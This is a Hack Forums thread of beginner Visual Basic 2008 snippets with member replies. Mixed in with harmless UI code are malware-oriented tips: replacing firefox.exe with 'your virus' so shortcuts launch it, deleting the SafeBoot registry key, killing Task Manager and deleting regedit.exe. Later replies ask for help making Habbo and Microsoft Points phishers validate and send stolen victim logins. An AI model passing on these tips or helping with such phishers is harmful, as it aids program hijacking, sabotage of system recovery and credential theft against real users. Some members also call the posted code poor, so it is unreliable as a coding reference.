

Forum:[Hack Forums](#)

Thread: [\[Visual Basic 2008\] Simple But Cool Features To Include In Your Program {Updated Often}](#)

SecretProxy - July 5, 2009, 3:59 pm

1. Make The Computer Beep

Code Console.Beep()

Note: Throw in a loop and some timers ? ?

2. Fade In / Fade Out

For Fade in

Code For Fadein = 0.0 To 1.1 Step 0.1

Me.Opacity = Fadein

Me.Refresh()

Threading.Thread.Sleep(100)

Next

For Fade Out

Code For FadeOut = 90 To 10 Step -10

Me.Opacity = FadeOut / 100

Me.Refresh()

Threading.Thread.Sleep(50)

Next

3. Make The Computer Talk

Code Dim sapi

sapi = CreateObject("sapi.spvoice")

sapi.Speak("TextHere")

4. Create A Message Box

Code MsgBox("TextHere")

5. Create A Message Box With A Yes + No Button (To Change Find "vbYesNo",Possible Options:

Code vbYesNoCancel

vbCritical

vbExclamation

vbInformation

vbMsgBoxHelp

vbMsgBoxRight

vbOkOnly

vbRetryCancel

vbDefaultButton1

vbDefaultButton2

vbDefaultButton3

vbApplicationmodal

vbQuestion

vbOkCancel

```

vbAbortRetryIgnore
Code Dim Response As Integer
Response = MsgBox("Are You Sure", vbYesNo, "DELETE")
If Response = vbYes Then
    MsgBox(" You Clicked Yes!")
Else
    MsgBox("You Clicked No!")
End If

```

5. Start A Process (Two Examples)

```

Code Process.Start("notepad")
Process.Start("www.hackforum.net")

```

6. Kill A Process

```

Code Dim RunningProcess As System.Diagnostics.Process =
Process.GetProcessesByName("taskmgr.exe")(0)
RunningProcess.Kill()

```

7. Rename A File

Tip : Copy Your Virus To Firefox's location, Rename firefox.exe something, rename your virus firefox.exe, Now all firefox shortcuts will start your virus ! ?

```

Code My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe",
"Anything.exe")

```

8. Delete A File

```

Code Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
    System.IO.File.Delete(FileToDelete)

```

9. Copy A File

```

Code Dim FileToCopy As String
Dim NewCopy As String

```

```

FileToCopy = "C:\test.exe"
NewCopy = "C:\NewTest.txt"

```

```

If System.IO.File.Exists(FileToCopy) = True Then
    System.IO.File.Copy(FileToCopy, NewCopy)

```

```

Code Dim Hackforum As String
Hackforum = "Awesome"

```

11. Delete A Registry Key

```

Code
My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentCo
ntrolSet\Control\SafeBoot")

```

12. Create A Registry Key

```

Code Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")

```

regKey.Close()

13. Over Write A Text File And Then Add Text To It

```
Code Dim OverWrite As String = "C:\Documents and Settings\All Users\Desktop\Example.txt"
If System.IO.File.Exists(OverWrite) = True Then
Dim ObjWriter4 As New System.IO.StreamWriter(OverWrite)
ObjWriter4.Write("Text To Add")
ObjWriter4.Close()
```

14. Create An If Statement (File Deletion)

```
Code Dim FileToDeleteWithAlfStatement As String
FileToDeleteWithAlfStatement = "C:\Windows\l386\regedit.exe"
If System.IO.File.Exists(FileToDeleteWithAlfStatement) = True The
System.IO.File.Delete(FileToDeleteWithAlfStatement)
End If
```

15. Assign A text box text (Two Examples)

```
Code Textbox1.Text = "Text"
```

```
Dim Anything As String
Anything = "Random"
Textbox1.Text = (Anything)
```

16. Assign A Label Text (Two Examples)

```
Code Label1 = "Bleh"
```

```
Dim RandomText As String
RandomText = "Blah"
Label1 = (RandomText)
```

17.Add A List Item To A Listbox

```
Code Dim RandomText As String
RandomText = "Text"
listBox1.Items.Add(RandomText)
```

18. Execute A Line Of Code If A Check Box Is Checked Off

```
Code If CheckBox1.CheckState = CheckState.Checked Then
' Execute Code Here
Else
'Execute Code Here

End If
```

19. For Loop

```
Code For MessageBox = 1 To 60
MsgBox(" This Will Loop Sixty Times!")
```

```
Next MessageBox
```

20. Start A Timer

Code Timer.Start ()

21. Stop A Timer

Code Timer1.Stop ()

22. Close The Application

Code Me.Close ()

23. Hide Your Application

Code Me.Hide ()

24. Send An Email With An Attachment Via SMTP (<http://www.vbforfree.com/?p=282>)

Code Dim message As System.Net.Mail.MailMessage

Dim smtp As New System.Net.Mail.SmtpClient("smtp.gmail.com", 587)

Dim attach As System.Net.Mail.Attachment

message = New System.Net.Mail.MailMessage(txtFrom.Text, txtTo.Text, txtSubject.Text, txtMessage.Text)

If My.Computer.FileSystem.FileExists(txtAttachment.Text) Then message.Attachments.Add(attach)

smtp.EnableSsl = True

smtp.Credentials = New System.Net.NetworkCredential("yourUsername@yourmail.com", "password")

Try

smtp.Send(message)

MessageBox.Show("Well, the mail message appears to have been a success!", " Successful?", MessageBoxButtons.OK, MessageBoxIcon.Information)

Catch exc As Net.Mail.SmtpException

MessageBox.Show(exc.StatusCode.ToString, " Something Happened?", MessageBoxButtons.OK, MessageBoxIcon.Error)

End Try

Visual Basic 2008 Tutorials :

http://www.vbtutor.net/vb2008/vb2008_lesson1.html

<http://msdn.microsoft.com/en-us/vbasic/default.aspx>

http://www.youtube.com/results?search_query=Visual+Basic+2008+Tutorials&search_type=&aq=f

<http://www.google.com/#hl=en&q=Visual+Basic+2008+tutorials&aq=f&oq=&aqi=g10&fp=kE0CVI1Pg>

[vM](#)

http://search.yahoo.com/search;_ylt=A0geurkXLVJKk7AARhCl87UF?p=Visual+Basic+2008+Tutorial&fr=sfp&fr2=&iscqry=

http://www.dogpile.com/dogpile/ws/results/Web/Visual%20Basic%202008%20Tutorials/1/417/TopNavigation/Relevance/iq=true/zoom=off/_iceUrlFlag=7?_IceUrl=true

The History Of Visual Basic 2008 :

http://en.wikipedia.org/wiki/Visual_Basic_.NET

<http://dc37.dawsoncollege.qc.ca/compsci/gmack/info/VBHistory.htm>

Visual Basic 2006 Tutorials :

<http://www.vb6.us/>

http://search.yahoo.com/search;_ylt=A0geu9ZxL1JK6UMBwWal87UF?p=Visual+Basic+2006+tutorials&fr=sfp&fr2=&iscqry=

<http://www.google.com/#hl=en&q=Visual+Basic+2006+Tutorials&aq=f&oq=&aqi=g%3Ap1&fp=kE0CVl1PqvM>

http://www.youtube.com/results?search_query=Visual+Basic+2006+Tutorial&search_type=&aq=f

<http://msdn.microsoft.com/en-us/vbrun/default.aspx>

The History Of Visual Basic 2006 :

http://en.wikipedia.org/wiki/Visual_Basic

<http://visualbasic.about.com/od/vbnetspecialtopics/a/aboutvb.htm>

PDF Download :

[_DGN_CW.pdf\] Link](#)

Size : 19.98 MB

* Make Sure To Import The Required Imports ! * + Rep Me If You Like!

Looking For someone to buy me HF L33t,I would really like to be able to update this often!
Sticky !

Apple - July 5, 2009, 4:11 pm

Very useful, and I'm bookmarking this, thanks =)

SecretProxy - July 5, 2009, 4:13 pm

(Jul 5, 2009 04:11 PM)GizSho Wrote: [\[CITE\]](#) Very useful, and I'm bookmarking this, thanks =)
Wow,Thanks.It means alot.

I accidentally posted this so...

I'll be updating it constantly.

I'll start updating it again in about thirty minutes.

Abe Washington - July 5, 2009, 4:27 pm

I used the PC talking thing. It works.. That is wicked dude. If I could thank you I would, but it just pulls up a message box. thanks man!

SecretProxy - July 5, 2009, 4:36 pm

No Prob Dude!This Comment is the reward! lol

DEN1AL - July 6, 2009, 6:55 am

(Jul 5, 2009 03:59 PM)SecretProxy Wrote: [\[CITE\]](#) 1. Make The Computer Beep

Code Console.Beep()

Note: Throw in a loop and some timers ? ?

2. Fade In / Fade Out

For Fade in

Code For Fadein = 0.0 To 1.1 Step 0.1

Me.Opacity = Fadein

Me.Refresh()

Threading.Thread.Sleep(100)

[b]next[/b] For Fade Out

Code For FadeOut = 90 To 10 Step -10

Me.Opacity = FadeOut / 100

Me.Refresh()

Threading.Thread.Sleep(50)

[b]next[/b]you forget the next after it

but thnx!

really usefull

SecretProxy - July 6, 2009, 8:18 am

(Jul 6, 2009 06:55 AM)Duttie Wrote: [\[CITE\]](#) you forget the next after it

but thnx!

really usefull

Fixed

Apple - July 6, 2009, 8:44 am

I copied down all of these in a text file for when I want to create a virus >:D, got any more? :D, hope to see this become a sticky someday.

SecretProxy - July 6, 2009, 8:52 am

(Jul 6, 2009 08:44 AM)GizSho Wrote: [\[CITE\]](#) I copied down all of these in a text file for when I want to create a virus >:D, got any more? :D, hope to see this become a sticky someday.I'm adding more often.Since the last time you posted I've added a couple more.

Yea,I just finished my first Visual Basic 2008 virus yesterday.I call it "Win32.Pixie",Its really weird.

Thanks ?

Sticky !!! ?

TL95ZOYN.HACK - July 6, 2009, 9:14 am

Thanks!

~Too Short~

SecretProxy - July 6, 2009, 9:20 am

(Jul 6, 2009 09:14 AM)TL95ZOYN.HACK Wrote: [\[CITE\]](#) Thanks!

~Too Short~
No Problem

nicksaban1 - July 6, 2009, 9:22 am

thanks, i did book mark this. i found a couple of things useful. i cant believe that i didnt know about the 'start process' code.

thanks ?

MC' - July 6, 2009, 9:24 am

Great post. Some of these things like 'start a timer,' 'stop a timer,' and 'execute code if a checkbox is checked' are pretty unnecessary. besides that, good job

SecretProxy - July 6, 2009, 9:29 am

(Jul 6, 2009 09:24 AM)MC Wrote: [\[CITE\]](#) Great post. Some of these things like 'start a timer,' 'stop a timer,' and 'execute code if a checkbox is checked' are pretty unnecessary. besides that, good job

Thank you to you both.

I know,some of these things are pretty easy.

I just posted them for absoulute beginners. ?

BlueMelon - July 6, 2009, 10:34 am

Wow thanks very helpful :D

Apple - July 6, 2009, 11:59 am

Add this one :P

"Send Email"

```
Code Dim mail As New MailMessage()
```

```
    Dim SmtplibServer As New SmtplibClient
```

```
    SmtplibServer.Credentials = New Net.NetworkCredential("yours@gmail.com", "password")
```

```
    SmtplibServer.Port = 587
```

```
    SmtplibServer.Host = "smtp.gmail.com"
```

```
    SmtplibServer.EnableSsl = True
```

```
    SmtplibServer.EnableSsl = True
```

```
    mail.To.Add("reciever@anything")
```

```
    mail.From = New MailAddress("youraddress@gmail.com")
```

```
    mail.Subject = (TextBox1.Text)
```

```
    mail.Body = (TextBox2.Text)
```

```
    SmtplibServer.Send(mail)
```

Sud0x3 - July 6, 2009, 12:05 pm

very informative for a beginner like me, thanks

SecretProxy - July 6, 2009, 12:15 pm

(Jul 6, 2009 11:59 AM)GizSho Wrote: [\[CITE\]](#) Add this one :P

"Send Email"

```
Code Dim mail As New MailMessage()
```

```
    Dim SmtplibServer As New SmtplibClient
```

```
SmtServer.Credentials = New Net.NetworkCredential("yours@gmail.com", "password")
SmtServer.Port = 587
SmtServer.Host = "smtp.gmail.com"
SmtServer.EnableSsl = True
SmtServer.EnableSsl = True
mail.To.Add("reciever@anything")
mail.From = New MailAddress("youraddress@gmail.com")
mail.Subject = (TextBox1.Text)
mail.Body = (TextBox2.Text)
SmtServer.Send(mail)
```

I've already posted a Email source code, but thanks anyway.

(Jul 6, 2009 12:05 PM)sud0x3 Wrote: [\[CITE\]](#) very informative for a beginner like me, thanks
No Problem ?

WynD - July 6, 2009, 12:19 pm

Nice i just saw this. now that i am actually making legit stuff this will be very helpful

SecretProxy - July 6, 2009, 12:22 pm

(Jul 6, 2009 12:19 PM)ExiL3d WynD Wrote: [\[CITE\]](#) Nice i just saw this. now that i am actually making legit stuff this will be very helpful
Glad To Help ?

Note : I Clicked The Egg ! lol

Apple - July 7, 2009, 2:16 am

I rated 5/5 and this needs to be stickied!

SecretProxy - July 7, 2009, 6:42 am

(Jul 7, 2009 02:16 AM)GizSho Wrote: [\[CITE\]](#) I rated 5/5 and this needs to be stickied!
Thank you!
Yes It Does!
I'll ask Omni.

ChronicleForce - July 7, 2009, 6:43 am

Oh really nice and thanks to the computer talk code

SecretProxy - July 7, 2009, 6:53 am

(Jul 7, 2009 06:43 AM)ChronicleForce Wrote: [\[CITE\]](#) Oh really nice and thanks to the computer talk code
Thanks ~
No Problem ~

SØMNIUM.EXE - July 7, 2009, 7:35 am

Cool, nice codes there! ?

BlueMelon - July 8, 2009, 11:32 am

I just need to say, It got my attention with the fade in and fade out, interresting stuff like that keep it interesting... take out the timer and check box stuff and add more "cool" things.
imo.

GoldStar - July 8, 2009, 3:18 pm

i used to love playing with those, very basic ^^ coooool

Pow3r - July 8, 2009, 3:27 pm

very useful, worth a +rep i think.

Thanks

Dman

Tuborg - July 9, 2009, 3:07 pm

Haha, I'm liking the computer speech

Ajax1 - July 9, 2009, 3:21 pm

Totally bookmarked! Perfect, along with:

Code <https://hackforums.net/showthread.php?tid=95717>

Sikandar - July 10, 2009, 4:18 am

thankz dude...this is really helpful....

soren1 - July 10, 2009, 6:04 pm

bookmarked this page

Cellydy - July 19, 2009, 12:58 pm

Gr8 post! Very Helpful!

Clive - July 20, 2009, 6:04 am

This is awesome for someone learning like me!

Gatsby - July 20, 2009, 8:34 am

Good list thanks for this OP.

Durds - August 4, 2009, 11:43 am

is there a way to make a NEW .txt file on the desktop? instead of overwriting one? please post that code if you have it.. thank you :)

oh! or make it open notepad `process.start("notepad")` (i know that) and make it start typing in notepad. you know? if you knew how to do that that would be great ^.^

haykel - August 5, 2009, 4:46 am

qui parle francais svp

DrSponge - August 6, 2009, 11:41 am

thanks this is cool :)

Shanxx - August 7, 2009, 7:39 am

this will help me soo much when im coding! thanks +rep

huso69 - August 7, 2009, 9:32 am

this is the thread that made me learn most of VB thxa alot

SecretProxy - August 7, 2009, 3:01 pm

Thank you all for the comments and + reps.They are appreciated greatly.

BETAhkr - August 7, 2009, 9:17 pm

I must say, This is 1 nice post, And they are some nice codes.

SecretProxy - August 29, 2009, 4:31 pm

(Aug 7, 2009 09:17 PM)BETAhkr Wrote: [\[CITE\]](#) I must say, This is 1 nice post, And they are some nice codes.

Thank you ?

Updates:

*No longer updated due to the 24 hour limit

*A part 2 may come out in the near future

Sud0x3 - August 29, 2009, 8:10 pm

This should be stikied, great codes.

Sikandar - August 30, 2009, 2:58 am

this is great dude....+rep!!!

alexone2008 - August 30, 2009, 3:06 am

great stuff mate you posted there!! Super Usefull...Begginers should boomark this!!!

TheBlackMarket - August 30, 2009, 3:57 am

Thanks! Good Job m8!

BETAhkr - August 30, 2009, 10:03 pm

I would +rep you if I could

[2short]

zeta1 - September 1, 2009, 5:42 pm

i did a quick search on HF and i couldnt find any info on a vb 2008 code to login to a site

i want 2 add it 2 my habbo phisher after the victim enters their info it will try 2 log in and if its ok then it will send me the info if not then it will give them an error

SgtPunishment - September 2, 2009, 2:26 am

I'm doing the same thing with my MS Points phisher

Cmars - September 2, 2009, 8:32 am

nice ressuces i like it.

zeta1 - September 2, 2009, 5:36 pm

(Sep 2, 2009 02:26 AM)SgtPunishment Wrote: [\[CITE\]](#) I'm doing the same thing with my MS Points phisher

did u add that feature in your phisher??

King Kong - September 2, 2009, 7:03 pm

Awesome... Hopefully once i learn vb better i can use most of this

Hide_My_Ass - September 3, 2009, 6:25 pm

Awesome codes :D

Thanks

Vorfin - September 11, 2009, 11:56 am

Bump, This needs to be on page one. I looked through 10 pages for just one line of code lol

Tasemu - September 13, 2009, 12:47 am

excellent list, will be good to reference back to whenever i need. (bookmarked)

Cellydy - September 13, 2009, 11:27 am

thanks, very usefull for my program

SANK - September 19, 2009, 10:23 am

Code 7. Rename A File

Tip : Copy Your Virus To Firefox's location,Rename firefox.exe something,rename your virus firefox.exe,Now all firefox shortcuts will start your virus ! Pinch

Code:

```
My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe",  
"Anything.exe")
```

This would be awesome for a "virus" you make. You could make it so when it opens it kills explorer.exe and replaces with your virus. It would start no matter what..

^^ thanks!

SANK - September 22, 2009, 10:01 am

This has helped me make a CSS hack :)

HeliX - September 22, 2009, 8:58 pm

bookmarked this, very useful

washburn214 - September 22, 2009, 9:53 pm

Thanks for this simple useful code!

TheBlackMarket - September 25, 2009, 8:05 am

Really good m8! i bookmark this, great job.

SecretProxy - January 8, 2011, 11:13 am

Bump :O

Still good for new vb08 coders to learn from :)

GodWall - January 8, 2011, 11:30 am

Thanks this is very useful :)

Doctor Stein - January 10, 2011, 10:56 am

Very Useful Code for Vb.net

SIM-135152 - January 10, 2011, 11:42 am

thank you man great tut

bookmarked

Apple - January 11, 2011, 4:03 am

(Jul 5, 2009 04:11 PM)GizSho Wrote: [\[CITE\]](#) Very useful, and I'm bookmarking this, thanks =)
Over a year later and now I consider everything in this thread nooby stuff :P

Megan Foxxx - January 11, 2011, 11:14 am

bookedmarked!

im learning to VB and this is like the bible!

thanks

ident - January 11, 2011, 11:21 am

Please dont ever offer any more examples. You should learn how to program before you pass on piss poor examples to new programmers. This is not flaming. This is fact.

Your coding is diabolical..

Megan Foxxx - January 11, 2011, 11:31 am

he should offer more examples
and this is for learners
his coding is perfect!

ps not turning this thread into a flamewar!

ident - January 11, 2011, 11:42 am

(Jan 11, 2011 12:31 PM)damaster1901 Wrote: [\[CITE\]](#) he should offer more examples
and this is for learners
his coding is perfect!

ps not turning this thread into a flamewar!
Please don't tell me what you clearly don't know. The code is shocking.

Just because something works does not mean it's correct.

#18 is a prime example of WTF